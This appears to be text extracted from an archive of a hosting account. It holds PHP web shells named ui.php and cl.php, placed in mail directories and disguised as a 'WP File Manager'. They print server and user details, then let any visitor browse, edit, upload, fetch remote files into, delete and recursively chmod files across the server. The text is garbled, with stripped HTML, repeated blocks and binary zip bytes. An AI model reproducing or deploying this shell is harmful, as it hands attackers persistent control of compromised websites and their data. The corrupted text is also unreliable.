← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ëhr@dunyagozbalkans.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{] ÞIíBB"partners@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. protected 1 [addressbook] displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 type VADDRESSBOOK PK‘&{]„N9³§Ë§Ëpartners@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
